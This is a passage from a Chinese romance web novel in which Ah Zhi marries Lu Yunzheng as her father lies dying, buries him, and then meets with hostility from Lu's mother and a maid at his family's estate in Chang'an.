阿致想要拒绝,被沈金挥手打断,他费力地喘一口气:“把陆昀峥那小子叫过来。”
“做什么?”
“你不是非他不可吗?”沈金深呼吸一口气,“趁我闭眼睛之前,你们把婚事办了。”
55. 第 55 章
55
沈金的意思是,反正他也没有几天好活了,趁着他在,他要亲眼看着女儿成婚了才能安心离开。
就这样,陆昀峥迎娶阿致的事,终于定下来了。
阿致是未嫁的姑娘,母亲早逝,压根不懂成婚之前需要准备什么。好在面馆的老板娘和隔壁二婶愿意帮忙,也就省了许多事。
考虑到沈金的身子支撑不了太久,婚礼准备的特别仓促,许多过程能省则省,新郎新娘的大红礼服也只要求了最简单的款式。还是在二婶的坚持下,喜服的衣领和袖口上加上连理枝的纹理。
至于成婚的新房,是陆昀峥花钱,在城东临时租下的一处小院。去看房的时候,院子的角落里有一大簇菊花正开得旺盛,香气四溢,阿致很喜欢,陆昀峥便立刻交钱定下了。
·
沈金醒来的那天晚上,官府派衙差过来调查事情经过。严吒的行踪仍旧没有找到。
衙差还在外头等着,阿致想让沈金躺着休息,自己去说。没想到,沈金发了很大的脾气:“等会你给我闭嘴,一个字都不许说。”
等到衙差进房里来,沈金一口咬定,是严吒醉酒打了他女儿,于是那天晚上严吒过来道歉,自己一口气没有忍住,把严吒给打了,严吒气不过,掏出一把刀来,想要杀了他。后来,女儿阿致和陆昀峥回来,正好发现此事,严吒便挟持自己跑到山上去了。去到山上之后,沈金骂了严吒几乎,严吒不爱听,想要将他推下山崖去。沈金特别害怕,挣扎着逃开了。不幸的是自己被捅伤了,失血特别多,最终没有跑下山便晕倒过去。
衙差又问阿致和陆昀峥。
他们两人面面相觑,又看了一眼床上的沈金,沈金吹胡子瞪眼的,格外吓人。
阿致轻轻点头。
两个衙差看天黑了,早就想要回家吃热乎饭,收起记录本,并肩走出去,商讨着明日要去山崖下寻人。当然,掉到山崖地下应该是凶多吉少了。因为山下是一片森林,有不少野狗野狼,之前有人采药掉下去,被人找到时只剩下一具枯骨。
陆昀峥送走两位衙差,栓上院子里的大门。
阿致坐在床边的凳子上,看着沈金:“你为什么不让说实话?”
“反正我也要死了,这样做也算是对得起你叫我一声爹。”沈金长舒一口气。
阿致想起来,之前她气头上说过他,说他不配自己叫他爹。阿致急忙解释:“我当时是气不过,觉得你竟然站在严吒的立场上,想要包庇他。”
沈金咳嗽不止,他无语道:“怎么可能?你是我女儿。我怕你替阎王收了他,不好交差。”
陆昀峥从外头进来,阿致仍旧垂着头沉默。
沈金笑她:“你都得偿所愿了,再也不会有人烦你,为什么要拉长一张脸?不如开开心心地过这几天。”
阿致抬眼看他,一脸怨怼:“往后我有的是机会开开心心。”
平日里,她是很烦阿爹,觉得他处处为难强迫自己,处处不想让自己开心,可是她从没有期望过这样的结局。阿娘早就走了,如果阿爹也走了,那她就是孤儿了……多大年纪的孤儿,也是孤儿。
沈金一时沉默,捂着伤口轻轻挥手道:“你们赶紧准备婚事吧,我只能撑这么几天。”
·
大红喜服的女子坐在梳妆镜前,披散着一头乌黑长发。
阿致看着镜子里的自己,脸庞瘦长,脸颊消瘦了不少,仿佛生病的人是她。
二婶给她把脸擦干净:“可不能把眼泪掉身上。”
阿致低头哭得更厉害了。
二婶拿起梳子给她挽头发,叹气:“早知如此,你和你父亲该好好相处,而不是天天互相找气受。自从我嫁过来,第一次见你的时候,可怜兮兮的,一丁点萝卜头大小,站在街上呆呆地看别的小孩子玩,被人欺负也不敢跟大人说。现在长大了,脾气却不得了,胆子也大,竟然要远嫁去长安那么远的地儿。”
眼泪不争气地滑下来。
阿致伸手抹掉眼泪,二婶赶紧拿帕子给她擦干净手,接着给她梳发尾:“一梳梳到尾,二梳白发齐眉,三梳儿孙满堂。”
接着便是拜堂成亲。
一拜天地,二拜高堂,最后是夫妻对拜。高堂之上只有沈金独坐,他脸色苍白,眉头紧皱,能看得出苦苦忍耐着病痛,但嘴角带着喜悦,眼睛里闪着盈盈的泪。
递茶的时候,沈金抬着眉毛,格外松快地感叹:“到地下,遇到你母亲,我总算是能交代了。”
·
晚上,新房里,阿致和陆昀峥在桌边相对独坐了一会。
桌上放着一分为二的葫芦瓢,瓢的尾巴上用一根红线系着。
陆昀峥给两个瓢里都倒满了酒,阿致伸手去拦,压根来不及:“慢——”
“怎么了?”陆昀峥手里还捏着酒壶。
阿致看着自己面前满满的一瓢,苦笑着摇头:“算了,等会你就知道了。”
陆昀峥虽然疑惑,他给自己面前的那一瓢倒酒,酒不够,只有半瓢。
于是,他伸手将两人面前的葫芦瓢对调。
阿致按住他,将两只瓢里的酒平分。
两人各手执一瓢,将一瓢酒喝下。
陆昀峥喝了一口,苦得直皱眉头:“这酒味道有点怪。”
“合卺酒就是这样的。二婶说,葫芦自带苦味,盛着甜酒,寓意夫妻二人同甘共苦。”阿致看着手中那漾动的酒波,低头一饮而尽。
陆昀峥毫不迟疑,抬头一口干完。
人生几十载,必然会有许多艰辛的时候,必然逃不开苦涩的时光,但如果可以选择,他想要和对面这个女子一道去面对、经历、破除。他有信心。
两人放下葫芦瓢,嘴角带着些微笑对上眼,突然都紧张起来。
阿致低下头,掩盖酒意上涌后的脸颊羞色,陆昀峥撇开眼睛,不再看她红润的唇。
两人沉默着吃了些点心,准备歇息。
陆昀峥率先脱了外衣,躺到床上。
阿致取了头上的钗环,又脱了外衣,和陆昀峥并肩躺着,两人盖同一床喜被。
阿致望着红色的帐子,她有些紧张,被子下的双手捏紧拳头,就连脚趾都用力勾着。
被子里,陆昀峥伸手,抓住她的拳头。
阿致松开了拳头,却咬住嘴唇,她等着陆昀峥的动作。
他侧身,将头靠向她的肩膀。许久,他没有动静。
阿致转头看他,他闭着眼睛已经睡了。
阿致紧张的肩膀终于放松下来,绷着的手也终于松懈下来,反过来握着他的手。
“对不起。”阿致轻声道歉,嘴唇凑到他的额头亲了下。
“想早点睡觉,就别动了。”陆昀峥突然睁眼看着他,他瓮声瓮气的。
阿致丢开他的手,背对着他躺着:“我睡了。”
她还担心阿爹的事,根本没办法和他考虑其他的事。原本,阿致提出来,婚礼行礼之后,她便留在家里照顾阿爹,但是阿爹拒绝了。
陆昀峥蠕动过来,暖暖地贴着她的后背,伸手揽住她的腰:“明日还要早起。”
阿致闭上眼睡觉。
·
第二日一早公鸡打鸣,天还是黑透的,阿致和陆昀峥便起床回去看望沈金。
有二婶照顾,沈金的精神头格外好。
大概是猜到女儿会很早回来,沈金自己穿好了衣裳,坐在红烛摇曳的堂屋里等着他们。
阿致接过二婶递来的热茶,给沈金奉上,沈金点点头,一口饮尽。
“岳父请用。”陆昀峥也奉上一盏茶。
沈金依旧是开心地喝下了:“好!”
做完这些,沈金先是奉了三炷香,给阿致过世的母亲,随后他又给二婶使了个眼色。
二婶便找了个借口,将阿致支出去。
阿致回头看着父亲沈金,不知道他是什么用意。
二婶将她强拉出来:“让男人们说说话。”
·
沈金又点燃三炷香,递给陆昀峥。
陆昀峥接过,跪下,对着香炉拜了三拜,插在香炉里。
沈金舔了舔干枯的嘴唇,慢慢坐在凳子上:“如今,我们也是一家人了。不管过去如何,我只希望你们夫妻两人和和美美的。阿致性子太烈太犟,今后麻烦你多多包容她。”
陆昀峥扶着他在凳子上坐好,点头承诺:“岳父放心,小婿一定会照顾好她,不让她受委屈。”
沈金听了这话,看着那飘渺的香雾,不知道在想什么,也没有应答,许久他才道:“还有一件事,你回到长安后,要与你父母好好商量成婚的事。”
“这个自然。”陆昀峥看着他的眼睛保证,“回到长安,我便与父母商量补办婚礼的事。我与阿致已经结为夫妻,父母没有反对的道理。”
沈金迟疑地点了点头,神色暗淡了下去:“我有些乏了,你扶我去房里。”
沈金躺在床上,交代道:“你去叫阿致来……我有话说。”
阿致从外面拿了个酥油饼进来,热乎的,她塞给沈金:“爹。”
沈金靠在床头,其实不饿,但他还是接过那酥油饼,咬了一口,酥酥脆脆的,笑着将那酥油饼揣在冰凉的胸前。
真暖和。
沈金的眼睛微闭。
“阿爹!”阿致眼眶红了,她伸手去握他的胳膊,冰凉冰凉的。
沈金陡然醒过来,看到阿致的脸,想起来一件重要的事:“我去了之后,记得把我和你娘安葬在一起。”
阿致抿着嘴唇没有说话。
沈金费力地撑开眼睛,出气多于进气:“阿致……阿致,记得!”
说完,沈金捏着那酥油饼的手松开,酥油饼从他胸口滑落到床沿。
阿致捏着这酥油饼,眼眶通红,大声嚎哭起来。
·
父亲停灵期间,
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阿致跪在棺材边上,一连守了好几夜,整个人都是木的,琐事又太多,她没有精力去处理,好在陆昀峥和二婶在一旁帮着处理。
第七日下葬,阿致选择将墓地选择了后山一个小山坡的边上,和她母亲隔着两里路,遥遥相望。
选墓地的时候,陆昀峥道:“岳父说了要和岳母在一起,这样是不是不妥?”
那时,阿致还肿着眼睛,看着不远处母亲的坟墓,道:“我知道,但我阿妈离世前说过,她不想和我爹合葬。”
陆昀峥目瞪口呆,不过还是按照她的想法来安排。
下葬之后,又有衙差来告知阿致,那严吒的尸身——或者说尸骨,已经找到了,在山崖之下。主要是去山下找尸首花了些时日。
衙差原本是想要找沈金再次确认当晚的细节,到底是何原因导致严吒掉入山崖,没想到沈金已经去世。那么严吒究竟怎么死的,没有人能知道了,此案就这么结了。
·
过了一晚,阿致便收拾好行囊,与陆昀峥骑着两匹马回去长安。
因为成亲和送丧的事情,陆昀峥回京述职的事情耽搁了几天,于是回去的路上,他们必须要加紧赶路。
一路上天气不是很好,阿致也很沉默,总是抬头看天。
有一天傍晚,他们正好赶到一个热闹的集市,集市上各种好吃好玩的都有。
阿致看中了一款琉璃手串,挺好看的,在夜里的火光中闪闪的,很有趣。要不要买呢?阿致有些犹豫,老板说这手串是琉球来的好货,因此价格不菲。
阿致砍了许久的价,砍不下来,于是依依不舍放回了摊上。
反倒是陆昀峥抄起那手串,仔细看了一圈:“老板,你说是琉球的,我记得渠成也有这样的,一两银子一串。”
商家一看遇到行家了,终于松口:“我拿货到这里来卖,一路上成本风险也不少的嘛,便宜点卖你,三两,不能再少了。”
陆昀峥点头:“好。”
他直接掏出三两银子给老板,将手串套到阿致手腕上。
阿致翘起嘴角。
陆昀峥伸手刮她的鼻子。
·
晚上他们住客栈里,阿致照旧是和他相拥而眠。
一道惊雷,在空中炸开,声音如同在头顶贯穿,风很大很大。
阿致睡不着,披上单薄的外衣,打开门,去外头。
他们住在客栈的三楼。阿致站在栏杆边上,仰头看着黑色的天空中,那些忽闪忽闪的雷电,心中畅快了许多。
陆昀峥也从房里出来,他披着毛裘,站在她身后,从身后拥着她。
巨大的风吹得人脸冰凉麻木,阿致此时的脑子却异常清晰,清晰地感知自己还活着这件事,前所未有的。
大雨倾盆而下,豆大的冰冷雨点砸在阿致的头上、脸上。
陆昀峥伸手护住她的头顶,将脸贴在她的脸上。
他的胸膛是温暖的,可是他的脸是冷的。
两张冰冷的脸贴在一起。
阿致深吸一口凉风,催促他:“我们回去吧。”
她可不能连累他生病。
就在两人准备回去时,突然听到一声小猫的叫声,在大雨之中显得格外的仓皇。
阿致回身,站在栏杆边,找到声音的来源,她看到了晃动的弱小身影,欣喜地冲到楼下,冒着冷雨,终于看到了那个黑影里的小猫。
它浑身的毛都湿透了,露出幼嫩的皮肤,两只眼睛亮晶晶的,充满了彷徨和惊恐,警惕地看着阿致,身后护着它的母亲,硬邦邦躺着的大猫。大猫身上有一股甜腻的臭味,阿致迅速明白过来,大猫已经死去多时。
陆昀峥打着伞,已经过来了。
阿致欣喜地回头:“阿峥,我想要养它。”
它孤零零的,就像她一样。
毫无意外地,陆昀峥点头。
阿致伸手将小猫抓到双手中捧着,带到房里好生擦拭后又喂了它一点肉干。这是一只玳瑁色的小猫,其中一半脸是黄色,一半脸是黑色的,它在房中的角落里乖乖呆着,远远看着阿致和陆昀峥。
有了小猫,接下来的几日,阿致的精神好了许多,天气也好起来。
可阿致还是怕冷,总是钻陆昀峥的怀里去睡。
突然这一天夜里,阿致抬头,她的唇碰到陆昀峥的喉结,他低头看着她的眼睛许久,似乎是在确认她到底是否故意。
阿致咬着嘴唇,笑嘻嘻地伸手抚在他喉咙上,往后退一点:“我不是——”
陆昀峥突然欺身过来,按着她两边肩膀。
阿致不知怎么的,鼓起勇气,伸手拉开他中衣的系带,露出他结实的胸膛。
陆昀峥看着她的眼睛,大掌从她中衣下探入,触摸到她光滑的小腹。
他喉结微动。
几乎同时,两人凑到一起,用力地吻着,阿致的手搭在他的脖子上,另一手轻按在他耳后。
56. 第 56 章
56
短暂的亲吻过后,阿致撇开涨红的脸,垂着眼,张嘴大口喘气。
她的唇嫣红晶润。
陆昀峥喉结涌动,捏着她的手腕,低头亲吻她细长的脖颈。
阿致心如擂鼓,耳边是他火热急促的呼吸声,她有些怕了,伸手去推他靠过来的小腹。
陆昀峥抬头,倒吸一口气,浑身热汗。
阿致要将手抽走,被他一把按住。
阿致睁眼看着他,紧咬着唇,耳朵整个通红。
他用膝盖隔开她绷紧的双腿,四目相对。
一室热浪,汹涌不绝。而客栈外头却是呼号的冷风,枯树上有残留的黄叶,随着强劲的冷风,一阵一阵拍打,声音钝重,掩盖了一道细碎的呜咽。
·
自此之后,两人陡然亲近了许多。
陆昀峥更是爱贴着她,有事没事要和她黏在一起,便是要买些簪花首饰,他也要帮她插着看。到了晚上,他便没个消停。
阿致除了疲累,还是高兴的。她跟着他,一路去往长安,见识了许多新鲜玩意。快到除夕,一路上的集市十分热闹,那是边远宜城所不能比的。
同时,越发靠近长安,她就越发忐忑。晚上入住客栈时,她总爱坐在栏杆边上,抱着怀里的小寒远眺,满脸忧虑。
小寒是她雨夜里捡来的猫。这几日,小寒吃睡都很不错,皮毛越发光滑。它很有灵性,知道阿致对它好,每日给它好吃好喝的,它便很黏阿致。
晚上,要熄灯了,陆昀峥将她抱在怀里:“不要担心,有什么问题我都会处理好。”
阿致轻轻“嗯”一声,有气无力。
陆昀峥躺在她背后,掐着她的腰:“我们都成婚了,父母肯定不会说什么。”
“万一……你父母还是不答应怎么办?”阿致忧心忡忡。
陆昀峥熟练地解开她的系带:“不会的,他们答应过我,只要我能成为副将,婚事由我自己做主。”
阿致本想阻止他。
陆昀峥伸手捂住她的嘴,正好一只手指触到她柔软的唇,被她咬住。
陆昀峥气息瞬间就乱了,从后面快速地进攻,将阿致死死压着。
阿致昂首喘息着,她往床头移动,被他摁住肩膀往回拉,两人贴得更紧。
阿致喉咙里发出细碎的一声,抓住他贲张的臂膀,如同动荡海水中抓住了一根求生的浮木,与这浮木随波逐流。
·
接下来的路程十分顺利,他们通过了长安城的城门。
长安城的城门比宜城高大威武许多,四方来来往往的人络绎不绝,甚至不乏达官显贵。
阿致骑马跟在陆昀峥身后,她深呼吸一口气。
他回头看她。
阿致微笑,打马跟上去。
马蹄哒哒哒走在繁华的长安城街道,阿致来不及左顾右盼,她正在担心等会见到陆昀峥的父母该当如何。
阿致对陆昀峥道:“若是你父母问我话,答不上来的,你要帮我。”
“放心,我会一直陪着你。”陆昀峥笑着,一脸轻松。
抵达侯府时,已是傍晚。
陆昀峥带着阿致下马。阿致打量这府邸,好一片气派,大门比之左右宽阔不知多少,大门旁边还有两扇侧门,大门紧闭,只有东边一扇侧门开着。大门上方提着“陆府”两字。
这便是侯府了,阿致捏紧手中的包袱。
门口有小厮已经看到陆昀峥,喜笑颜开来接行李:“三公子!小的这就去通知老夫人!”
说完,这小厮才注意到一旁的女子,颜色清秀,与三公子手牵着手,他瞪大了双眼,但什么也没说,立刻将两人从侧门引进来,押上门,又使个眼色,让门口打扫的一个丫头过来,领着两位去鹭双院。
安排好这些,小厮立刻往侯府后头跑去,通知夫人。
阿致回头看着那小厮的背影,继续跟着陆昀峥去鹭双院。
侯府比阿致想象的更大,也更精致。院子里每一处都是精心设计过的,有小池塘、角亭、假山、竹林。这一路雕梁画栋地走来,阿致数了数,她见过的洒扫下人便有至少七个。
有下人看到陆昀峥,对他低头行礼:“三公子。”
下人们又都翘起其中一只眼角,看着一身朴素的阿致,十分稀奇地面面相觑。
陆昀峥牵着她的手,用力捏了捏,指着前面一个小院子:“这便是我惯常住的,往后你与我住在这里。”
阿致和他一起走进去,院子里有一棵桂树,应是有些年纪了,十分茂密,叶子锦簇,墨绿墨绿的,与院子里其他枯草一比,更显遒劲生机。
这院子里打扫得很干净,连枯叶都没有。
陆昀峥推开门,阿致跟着他进去,打量这房屋陈设。她从小没见识过什么好东西,说不出名头,但是一眼扫过去,只感觉干净、宽敞、光亮、简洁,都是光滑的黄花梨木。尤其
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是厅中间的那一张原木桌子,暗红、色泽均匀,一看就价值不菲,更不用说这满屋里的显眼摆件。
阿致还四处打量着,陆昀峥让她将行李放在房里去。
阿致走进去,感觉这房间比自己身上还干净,她有些局促地将包袱放在窗边的小几上。
陆昀峥在外面打仗三年了,这三年他几乎没有回过家,但家里时时给他清理着。可见他父母是上心对他的。
“怎么了?”陆昀峥从身后抱着她,亲着她脸颊,“不用担心,我会和父母好好说。”
阿致舔了舔嘴唇,望着窗外的桂花树,用力点头:“我相信你。”
“叩叩叩——”
一阵声音响起,阿致吓了一跳。
他们转头往门口看,原来是个四十多岁的妈子,虽然上了年纪,但面容衣着十分整洁。
陆昀峥给阿致介绍:“这是我母亲身边的许姑姑。”
阿致对着许姑姑点头。
许姑姑没有任何反应,他对着陆昀峥低头道:“老夫人请您过去。”
“好。”陆昀峥拉着阿致的手,“正好我也有话想对母亲说。”
许姑姑往前一步:“老夫人想让您先过去。”
阿致愣住,她挣开陆昀峥的手。
陆昀峥拉住她的手指:“你和我一起。”
许姑姑仍旧站在原地,拦在门口,看着阿致。
阿致挣开他的手:“我等你回来。”
陆昀峥随着许姑姑离开,阿致坐在窗边的凳子上,望着包袱发呆。天渐渐地黑了,这府里上下点了灯,灯火晃动,就像她的心七上八下。
就在这个时候,两个丫头提着灯过来敲门:“表姑娘,请随我来。”
表姑娘?阿致疑惑,她不知道这是为何。但此时不是计较的时候,要先想办法应付老夫人。
阿致以为是要去老夫人的院子里,没想到她们领着自己到了一个黑灯瞎火的小院子里。
其中一个丫头接着提灯,点燃了一只蜡烛。蜡烛的火光亮起,照亮了满是灰尘的桌面。
两个丫头忙着去收拾床板上的灰尘,又去将被子搬来两床:“表姑娘,您今晚歇在这里,如果有什么吩咐,请吩咐我们。我是诗临,她是诗剑。”
阿致终于明白,她不会有机会见到老夫人。因为对方压根看不上她,也不打算见她。老夫人的意思是,借着陆昀峥不在,将他们两人分开,并用两个丫头监视她。
57. 第 57 章
57
跟着许姑姑,陆昀峥去父母院里。父亲与好友外出还未回来,母亲同他说了会话,拉着他吃晚饭。
陆昀峥急着回去自己院里,他心里还想着阿致,她该肚子饿了。
陆老夫人虽已有五十多岁,不过养尊处优保养得宜,脸上皱纹不多,笑意盈盈的时候,颇慈祥。
陆昀峥走后,许姑姑给桌上的冷茶换了,她低头道:“夫人,您真的要见那姑娘?”
“先冷她一个月。”陆老夫人抿了一口热茶,慢慢晃动茶杯,让热气熏烟,“老三就是自小过得太轻松太单纯,才会着了道。”
·
此时,天已经彻底黑了,府里各个屋檐下燃上了灯。
踏着漆黑的石板路,他回到自己院里,一片漆黑。
房里没有点灯,甚至没有看到阿致。
他去房里找了一圈,只有他的包袱,她的包袱压根不在,小寒也不在。漆黑的房间里,净是些暗沉的家具,冷冰冰的。
陆昀峥快步出了院子,寻了一个小厮,问他阿致去了哪里。
小厮提着灯笼,直说不知道。
陆昀峥抚着额头,在原地站了一会,又回去母亲的院子里。
见到许姑姑,陆昀峥冷着脸,问他:“我带来的人呢?”
许姑姑笑着道:“是我的不是,忘了知会您。三公子,我将表姑娘安排在西厢的客房里,你放心,我还派了两个丫鬟——”
陆昀峥转身就走。
去到西厢的院子里,陆昀峥矮身穿过拱门,看到窗纸上橙黄的跳动烛火,将一个女子的身影贴在其上。
两个丫鬟压根不在。
陆昀峥抿着嘴唇,快步走进去,推开门。
阿致刚换好衣裳,抱着喵喵叫的小寒,思考着怎么弄些吃的垫肚子。陆昀峥回来,她早就预料到了。
陆昀峥怒气涛涛,一把拉过她的手:“跟我走。”
阿致站着没动。
陆昀峥一回头,看着她。
阿致下巴指着床上的行李,和她刚换下的衣裳:“总要拿上东西。”
陆昀峥一手拿着包袱,一手扶着阿致的肩膀。
两人回到鹭双院里,几乎横穿整个府邸,又被不少下人看到。
阿致低下头,看着两人肩并肩的影子和快速翻飞的衣摆。陆昀峥的手捏着她的肩膀紧了紧:“带你去吃好吃的。”
·
两人坐在天香楼的三楼时,阿致看着夜里灯火辉煌,瞪大了眼睛。天黑之后,竟还有这么多人在大街上游玩,这在宜城几乎不可能。
她嘴角翘着,有幸见识此等繁华,也不枉来长安这一路辛苦。
陆昀峥见她开心,便点了好几个菜。
菜名都是阿致没听说过的,她问那店小二价格几何。
天香楼的小二头一次见问价格的主顾,不过看这女子上下穿着打扮十分朴素,就连发饰也简单至极,想必是攀附了旁边这位公子。
小二说了价格。
阿致睁大眼睛看着陆昀峥,尴尬道:“我们换个地方吧。”
“为什么?”
“我不是非得吃很好的东西。”阿致咬唇看旁边的店小二,凑到他耳边轻声说,“再则无功不受禄啊。”
吃这里的珍馐,花的虽不是她的银钱,但还是觉得有愧。
“但是我想让你尝尝好吃的。”陆昀峥看着她。
阿致深呼吸一口:“好吧,不过以后日子还长,你少点两个菜。”
陆昀峥按她说的,减了两个菜。
旁边站着的店小二一脸震惊,离开时脚步飘着。这两人一个天一个地,竟然还想要过长久日子,真不知该说哪个更天真。
晚饭吃得开心,两人又去附近的朱鹤湖边看游船。陆昀峥想要带她上去听曲,阿致困得眼皮都睁不开,对他摇头。
于是两人在湖边买了些新鲜的小鱼带回家,给小寒吃。
回去的路上,陆昀峥拉着阿致的手:“你是不是有话要说。”
今晚上,她欲言又止好几次。
阿致侧头看他,鼓起勇气道:“我们的婚事……你和父母说了吗?”
陆昀峥点头:“方才与母亲说过了,她答应等这两天忙过了,先见见你。”
阿致挤出一丝笑,点一点头。一阵冷风吹来,将她额边的碎发吹到眼角,掩藏她的神色。
“不用担心。”陆昀峥伸手,将她眼角的碎发扒开,“不管怎么样,我们一定会成婚。”
“嗯。”阿致用力点头。
·
两人回到院子里,丫鬟诗临站在树下等着。
一见到这两人手牵手回来,诗临道:“表姑娘,请跟我来。”
阿致还没开口,陆昀峥将她护在身后:“她哪里也不去。”
说着,两人回到房里去,诗临站在原地,一动不动。
房里,阿致一眼就看到自己的包袱不见了,她又环顾一周,焦急对陆昀峥道:“小寒也不见了。”
陆昀峥抿着嘴唇,眼神锋利,跨步出去问诗临:“我房里的东西和猫呢?”
“许姑姑的吩咐,挪到西厢去了。”
陆昀峥眼神锋利:“你把东西放回来。”
好一个许姑姑,管到他房里来了。陆昀峥打定主意,明日早上找她要说法。
诗临低头道:“许姑姑说了,三公子与表姑娘现下无名无分的,若是住到一个院子里,叫人知道,只会污了表姑娘的名声。”
阿致伸手拉陆昀峥的袖子:“我今晚上去西厢歇着。”
虽然她和陆昀峥在边塞成婚了,但并没有他父母帮忙签字的通婚书,他们俩还算不上名义上的夫妻。
陆昀峥点头。
阿致垂下眼,抬脚往外走。
诗临终于松了一口气,领着阿致离开。
陆昀峥提着那一布袋子的小鱼,跟在她身后,去到西厢。
诗临站在路中央拦着:“三公子。”
陆昀峥推开她,这一晚和阿致歇在了西厢。
阿致困得哈欠连连,勉强喂小寒吃了那些小鱼,她洗漱过后,一沾枕头就睡着了。
陆昀峥从净室出来,看着床里头的她,她背朝外头睡着。他吹灯后,轻手轻脚上床,贴着她的后背躺下,看着她的侧脸,怎么也睡不着。
回来之前,他信誓旦旦跟她说不要担心,可是现在他确实担心,担心父母不会答应,更担心阿致会因此受到伤害。
今日许姑姑和诗临的所作所为,没有他母亲的授意,不可能做到这样的绝情。
偏偏母亲没有当面斥责他,或是阻止这门婚事,以至于他也没办法与母亲据理力争,只能以不变应万变。
·
第二日早晨,陆昀峥将所有行李都搬回了鹭双院,还有小寒。然后他去给父母请安。
父亲早已经出门,母亲说头疼。
陆昀峥提了昨晚上的事,
陆老夫人捂着头道:“你误会了,为娘是真的考虑到她的名声。你们就算是往后真的成婚,也得顾及——”
“母亲,我和阿致往后必然会成婚。”陆昀峥看着母亲,“我们已经在边塞成了婚,也有夫妻之实,成婚只是早晚的事,孩儿不会改变想法。”
陆老夫人挤出一丝笑来:“是是是,我的不是。你二哥哥的婚事将要办了,等操劳完他的,我便集中心力为你打算。”
“孩儿半个月之后要回去宜城,还望母亲帮忙操心。”陆昀峥弯腰,对着母亲作揖。
按陆昀峥的想法,能在这半个月内把通婚书定下来便好,婚事可以再抽时间来办。
“这是自然的。”陆老夫人送走了儿子,嘴角紧抿着。
·
大概是陆昀峥的坚持起了作用,许姑姑和诗临再也没有来找麻烦。
阿致起床后,给小寒弄了点吃的,又想办法请一个丫鬟弄来个盆,装一些灶灰放在院子的角落里,给小寒用。
做完这些,阿致想再找点事做。陆昀峥外出见以前的朋友了,她跟着去不合适,便留在院子里。本想打扫下院子,可洒扫的丫鬟小厮手脚利落,早就弄得干干净净,房里那些柜子也是,连陈年的灰尘都没留下的。
阿致有些无聊,便端着个大凳子,去到树底下晒太阳。
就这么悠闲地坐了大半天,实在受不了,她揣了银子,准备出门去。
被诗临拦住:“表姑娘人生地不熟的,还是由我带着吧。”
就这样,阿致身后跟了一个尾巴。
阿致找到一个布庄,去里头选了两匹还不错的布料,另外选置了一些针线。
布庄老板认识诗临,诗临常为侯府购置布料,来的就是这家。布庄老板下巴指着阿致,想要打听来历。
阿致刚好回头,看
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到他们两人挤眉弄眼的。
布庄老板笑脸盈盈:“等会有人帮忙送到府上。”
阿致走出布庄,左右看了看。
诗临道:“表姑娘还是早些回去吧。”
“怎么?”阿致看着她,“怕我被别人看到吗?”
这繁华的长安城,白日和晚上也不一样,处处精致,道路宽阔,什么打扮的人都有,十分有趣。
阿致想要自己闲逛一会。
诗临道:“表小姐误会了,奴婢担心万一有个闪失,叫府里担心。”
阿致蹦下台阶,她往昨晚上看过的那朱鹤湖边去。
刚走了没几步,她看到了一个熟悉的人影,走在一众华服公子哥和贵女中间,他们笑闹着,俨然十分熟悉。
陆昀峥似乎被人开玩笑了,脸上满是无奈。而其中一位长相出众的贵女,穿着轻薄的丝绸外罩,在冬日午后的阳光下发出莹莹的亮光,就像是波光粼粼的湖面,她面上没有什么表情,眼角却含着笑,抬头看陆昀峥。
他们和阿致的距离那么近,却像是两个不同世界的人。
如果陆昀峥看到她,会怎么和他们介绍自己?他们又会怎样看待陆昀峥和她呢?
阿致转身要走,打道回府。
一向不希望阿致被人看到的诗临问:“表姑娘要去和三公子打个招呼吗?”
人怎么能歹毒成这样?
“你是打定主意我不敢过去?”阿致质疑地看了她一眼,转头往陆昀峥那边走去。
诗临见她越走越近,前头陆昀峥一转头就要看到她们,诗临脸色大变,上前一步拉转阿致:“表姑娘说的什么笑话,奴婢怎么敢。”
阿致一把甩开她的胳膊,打道回府。
诗临松一口气,嘴角带着笑,这女子不过就是嘴上呛几句,其实还是不敢叫人家看到。
阿致回头看她一眼:“不要再痴心妄想陆昀峥,我不会允许他纳妾,通房更不会有。”
今早上,阿致还在床上躺着的时候,外头洒扫院子的丫鬟和小厮聊天,说到了诗临对陆昀峥过于上心。阿致也才知道,原来陆老夫人早就看出诗临对陆昀峥恋慕,便有意要将诗临配作他的通房。
诗临脸上的笑一下凝固了。她能允许一个贵女做主母,给她脸色,但她不会允许一个野丫头压过她一头。
·
晚上陆昀峥回到家里,给小寒带了一袋子鱼,还给阿致带了不少糕点。
阿致正在裁剪布料。
陆昀峥问她做什么。
他凑过来,从身后抱着她,些微清冽的酒气扑在她身上。
“你我各一件棉衣。稀罕我做的吗?”阿致拿出尺子在他身上比划。
从小到大,她和父亲的衣裳都是她亲手做的,做工还不错,只是她从来不耐烦做这种耗时的麻烦事,太过于耗神。
陆昀峥低头,与她唇齿相贴,轻轻撕咬着。
“砰——”
门被诗临推开,她送了一盆热水来:“三公子。”
阿致被吓得心怦怦跳,她推开陆昀峥,侧脸看着诗临:“没有允许,不可以擅自进来。”
她语气很冷。
诗临期期艾艾看着陆昀峥:“三公子,奴婢只是……”
“好了,叫你再进来。”陆昀峥抱着阿致,兴致却没有了。
诗临退出去。
阿致松开陆昀峥,与他洗漱后就寝。两人躺在床上时,陆昀峥说:“明日我带你出去玩,你想去哪里?”
阿致闭着眼睛,迷糊道:“我还要做衣裳呢。”
陆昀峥靠过来,头搁在她颈窝:“母亲今日找你过去了吗?”
·
接下来几日,陆昀峥每日都有事,不是朋友找他,便是他二哥哥有事让他过去。
日子过得很快,直到某一天,陆昀峥起床发现,他的棉衣已经做得差不多,小寒身上也穿了一件枣红的棉袄。
数一数,回家竟然已经十日,马上就是除夕了。
他回头看房里,阿致正在铺床,她拿了一个水壶到外面,给一圈的花盆浇水。
这几日,她在院子里种了不少植物,菊花有,山茶花也有。
陆昀峥问她:“母亲来找过你吗?”
“没有。”阿致摸了摸小寒,小寒支楞着背,在阿致的腿下蹭过去。
陆昀峥舔了舔嘴唇:“我去找母亲。”
58. 第 58 章
58
陆昀峥去母亲院子里请安,顺便说他们成亲的事:“你等我回来吃早饭。”
阿致点头,目送着他离开。
诗临从外头进来,和陆昀峥擦肩而过,对他行礼后又看了一眼阿致,拿着掸子打扫客厅和房里。
小寒原本蹲在树下,看到诗临立刻弓着背站起来,飞跑进房里躲到床底。
阿致也没吭声,转身出门去买早点,从侧门。
自从布庄里回来之后,诗临便不再跟着她,但打心底里不尊重。在陆昀峥的面前,诗临还装着样子,对阿致弯腰行礼,陆昀峥若不在,诗临直接把阿致当空气;只要陆昀峥不在院子里,诗临便完全不管早饭的事,甚至让阿致自己去后厨里要。
诗临这是想办法为难阿致,阿致没有和她正面起冲突,她便以为阿致好欺负,一日日地放肆起来。
